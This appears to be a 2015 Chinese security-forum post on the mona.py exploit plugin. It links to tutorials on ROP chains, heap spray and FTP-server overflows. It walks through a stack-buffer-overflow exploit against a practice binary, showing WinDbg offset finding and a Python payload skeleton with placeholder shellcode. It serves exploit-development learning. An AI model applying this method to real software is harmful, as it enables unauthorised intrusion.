首页
社区
课程
招聘
[漏洞exploit工具-mona系列4] mona实战系列
发表于: 2015-3-1 10:33 9524

[漏洞exploit工具-mona系列4] mona实战系列

2015-3-1 10:33
9524

PS:本帖只发布些已有的mona实战的帖子,大部分来自互联网搜索结果,这里只给出链接。

来自corelan团段的 稳定通用的ROP链库,过DEP的同学可以看看
https://www.corelan.be/index.php/security/corelan-ropdb/
很不错的库各种环境下/各种DLL的稳定的ROP。


实战 HeapSpray 之 CVE2012-1889 Exploit 编写
http://www.programlife.net/doc/CVE2012-1889.pdf
PS:只用到了mona的 ROP功能! 不过文章真的不错,适合学习


缓冲区溢出漏洞实战(1)
http://www.cnphp6.com/archives/45077
PS:这个用到了几个mona的技巧,是个简单的栈溢出利用文章,新手可以看看


PCMan FTP Server 2.0.7实例分析
http://www.hack80.com/thread-21688-1-1.html
PS:和上一个一样都是对 PCMan FTP做的测试,不过这个更清晰、明了。


Immunity Debugger-mona插件使用
http://www.hack80.com/thread-21042-1-1.html
PS:对几个mona功能的介绍。


缓冲区漏洞过程学习笔记之FTP
http://bigtang.org/缓冲区漏洞过程学习笔记之FTP
PS:这篇用到了pattern_create/offset 去定位EIP,利用 jmp功能去找到 jmp esp 。


【翻译】利用msvcr71.dll 与mona.py实现通用绕过DEP/ASLR
http://bbs.pediy.com/showthread.php?t=139241&highlight=mona+py
PS:本论坛后恋 翻译的文章,来自corelan的优秀文章,介绍了mona 如何在msvcr71中找到ROP链的过程。


简单的栈溢出利用 with mona

我说明下:简单的利用只是为了mona实战,为了起到抛砖引玉的作用。

目标:1.exe (老师以前给的练手的demo,故意加入了msvcr71.ll,为了是使用rop)
环境:win7 x64
工具: windbg (with mona plus) //还没有工具的同学 http://bbs.pediy.com/showthread.php?t=198170 可以看这里的教程,关于windbg配置mona的



1.exe运行效果图



现在第一个textbox中输入字符串,点击OK按钮,将第一个框的内容复制到第二个框里。其中复制过程中,缓冲区溢出。

0x00 windbg 启动mona

打开windbg ,windbg打开要调试的1.exe.

在底部的命令框中输入 .load pykd.pyd

再输入 !py mona  (看看能是否正确的启动mona)



mona正常启动了。(你可以用 !py mona update 更新到最新版的mona)

设置工作目录

!py mona config -set workingfolder c:\logs\%p



1.exe 程序还没正常运行起来,我们先输入 g ,将程序运行起来,好加载我们的 msvcr71.dll ,再暂停下来

输入 !py mona modules  查看加载的模块信息



红线部分标注: 我们的1.exe 和 msvcr71.dll 都没有启用保护特性。

0x01 确定offset (控制EIP的偏移)

首先我们先来定位 控制EIP的offset , 我们用mona的 pattern_create \ pattern_offset功能

首先生成模板使用命令 !py mona pattern_create 300  (生成一个300字节的模板)

0:002> !py mona pattern_create 300
Hold on...
[+] Command used:
!py C:\Program Files (x86)\Windows Kits\8.1\Debuggers\x86\mona.py pattern_create 300
Creating cyclic pattern of 300 bytes
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9
[+] Preparing output file 'pattern.txt'
    - Creating working folder c:\logs\1
    - Folder created
    - (Re)setting logfile c:\logs\1\pattern.txt
Note: don't copy this pattern from the log window, it might be truncated !
It's better to open c:\logs\1\pattern.txt and copy the pattern from the file
0:002> g
(ea8.c7c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=00000001 ecx=0018f97c edx=00000030 esi=00423b40 edi=0018fe68
eip=33654132 esp=0018f860 ebp=0018f868 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
33654132 ??              ???
0:000> !py mona pattern_offset 33654132
Hold on...
[+] Command used:
!py C:\Program Files (x86)\Windows Kits\8.1\Debuggers\x86\mona.py pattern_offset 33654132
Looking for 2Ae3 in pattern of 500000 bytes
[B] - Pattern 2Ae3 (0x33654132) found in cyclic pattern at position 128[/B]
Looking for 2Ae3 in pattern of 500000 bytes
Looking for 3eA2 in pattern of 500000 bytes
 - Pattern 3eA2 not found in cyclic pattern (uppercase)  
Looking for 2Ae3 in pattern of 500000 bytes
Looking for 3eA2 in pattern of 500000 bytes
 - Pattern 3eA2 not found in cyclic pattern (lowercase)  

[+] This mona.py action took 0:00:00.305000
exploit = ""

junk = "A"*[B]128[/B]

eip = "\xcc\xcc\xcc\xcc"

nops = "\x90"*20

shellcode = "\xcc"*40

exploit = junk + eip + nops  + shellcode 
#写文件
try:
    rst= open("crash.txt",'w')
    rst.write(exploit)
    rst.close()
    print "OK"
except:
    print "Error"
(fbc.5d4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=00000001 ecx=0018f97c edx=00000030 esi=00423b40 edi=0018fe68
eip=cccccccc esp=0018f860 ebp=0018f868 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
cccccccc ??              ???

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

上传的附件:
收藏
免费 3
支持
分享
最新回复 (6)
雪    币: 69
活跃值: (270)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
msf
2
以后,会收集更多的好的实战文章,以及分享本人实战的案例。
2015-3-1 10:38
0
雪    币: 1
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
挺不错的。支持LZ
2015-3-1 11:10
0
雪    币: 69
活跃值: (270)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
msf
4
朋友也是玩 exploit的吗
2015-3-1 14:24
0
雪    币: 2
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
请问这篇文章用到的程序能发一下吗dmz0907@163.com 多谢!
2015-7-29 11:20
0
雪    币: 69
活跃值: (270)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
msf
6
做一些漏洞挖据
2015-8-5 11:35
0
雪    币: 232
活跃值: (30)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
有空和楼主交流 交流,我也是在做漏洞挖掘与分析
2015-9-17 20:07
0
游客
登录 | 注册 方可回帖
返回
//